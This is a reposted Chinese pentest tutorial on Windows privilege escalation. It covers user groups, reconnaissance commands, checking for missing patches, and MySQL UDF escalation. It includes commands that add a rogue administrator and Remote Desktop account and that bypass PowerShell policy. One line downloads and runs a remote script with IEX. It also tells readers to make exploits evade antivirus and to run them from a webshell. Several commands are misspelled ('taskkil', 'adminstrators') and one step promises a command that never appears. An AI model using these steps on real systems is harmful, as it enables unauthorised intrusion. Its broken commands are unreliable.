Windows Privilege Escalation
2021-01-15 19:01:52 Author: xz.aliyun.com(查看原文) 阅读量:218 收藏

提权基础

权限划分

  • Administrators:管理员组,默认情况下,Administrators中的用户对计算机/域有不受限制的完全访问权。
  • Power Users:高级用户组,Power Users 可以执行除了为 Administrators 组保留的任务外的其他任何操作系统任务。
  • Users:普通用户组,这个组的用户无法进行有意或无意的改动。
  • Guests:来宾组,来宾跟普通Users的成员有同等访问权,但来宾帐户的限制更多
  • Everyone:所有的用户,这个计算机上的所有用户都属于这个组。

基础命令

$ query user               # 查看用户登陆情况
$ whoami                   # 当前用户权限
$ set                      # 环境变量
$ hostname                 # 主机名
$ systeminfo               # 查看当前系统版本与补丁信息
$ ver                      # 查看当前服务器操作系统版本
$ net user                 # 查看用户信息
$ net start                # 查看当前计算机开启服务名称
$ netstat -ano             # 查看端口情况
$ netstat -ano|find "3389" # 查看指定端口
$ tasklist                 # 查看所有进程占用的端口
$ taskkil /im xxx.exe /f   # 强制结束指定进程
$ taskkil -PID pid号       # 结束某个pid号的进程
$ tasklist /svc|find "TermService" # 查看服务pid号
$ wmic os get caption              # 查看系统名
$ wmic product get name,version    # 查看当前安装程序
$ wmic qfe get Description,HotFixID,InstalledOn # 查看补丁信息
$ wmic qfe get Description,HotFixID,InstalledOn | findstr /C:"KB4346084" /C:"KB4509094" # 定位特定补丁

# 添加管理员用户
$ net user username(用户名) password(密码) /add  # 添加普通用户
$ net localgroup adminstrators username /add   # 把普通用户添加到管理员用户组
# 如果远程桌面连接不上可以添加远程桌面组
$ net localgroup "Remote Desktop Users" username /add

系统漏洞提权

系统漏洞漏洞提权一般就是利用系统自身缺陷,用来提升权限。通常利用systeminfo查看补丁记录,来判断有哪个补丁没打,然后使用相对应的exp进行提权。

查询补丁信息

  • WinSystemHelper:检查可利用的漏洞。该工具适合在任何Windows服务器上进行已知提权漏洞的检测
    • 上传WinSysHelper.batexplt2003.txtexpgt2003.txt,运行bat查看结果
    • 然后在可利用的Exp中任意下载一个并执行即可
  • Sherlock:在Windows下用于本地提权的PowerShell脚本
    • 分析漏洞出漏洞后利用对应Exp即可
# 启动Powershell
$ powershell.exe -exec bypass

# 本地加载脚本
$ Import-Module Sherlock.ps1

# 远程加载脚本
$ IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1')

# 检查漏洞,Vulnstatus为Appears Vulnerable即存在漏洞
$ Find-AllVulns

提权步骤

除了需要注意每种漏洞所适用的详细系统版本及位数外,实战中还需要事先免杀并调试好Exp,否则可能有蓝屏等风险。

[01]: KB2999226
[02]: KB976902
  • 然后根据可选补丁编号以及目标系统,选择对应的Exp下载运行即可。

  • 另外还需要注意提权Exp的运行方式,一般有以下几种:

    • 直接执行exe程序,成功后会打开一个cmd窗口,在新窗口中权限就是system
    • 在WebShell中执行exe程序,执行方式为xxx.exe whoami,成功后直接执行命令,再修改命令内容,可以执行不同的命令
    • 利用MSF等工具
    • C++源码,Python脚本,PowerShell脚本等特殊方式

数据库提权

MySQL

  • 前提:拿到Root密码
  • 注意:
    • MySQL5.7以后secure-file-priv的问题
    • MySQL5.7后,系统的用户表mysql.user中的密码字段已从password修改为authentication_string

UDF提权

  • 原理:通过root权限,导入udf.dll到系统目录下,可以通过udf.dll调用执行cmd

  • 利用条件

    • 系统版本:Win2000、WinXP、Win2003
    • 具有对MySQL的insert/delete权限的账号,用以创建和抛弃函数。最好是root,或具备root账号所具备的权限的其它账号。
UDF木马提权
  • 已有Webshell的情况下可以直接上UDF马
UDF手工提权
  • 获取UDF:将sqlmap\data\udf\中找到对应系统的dll_文件,复制到sqlmap\extra\cloak\,输入以下命令即可得到
    • SQLMap自带的shell及一些二进制文件,为了防止被误杀都经过异或方式编码,不能直接使用,需要利用SQLMap自带的解码工具cloak.py进行解码

文章来源: http://xz.aliyun.com/t/9017
如有侵权请联系:admin#unsafe.sh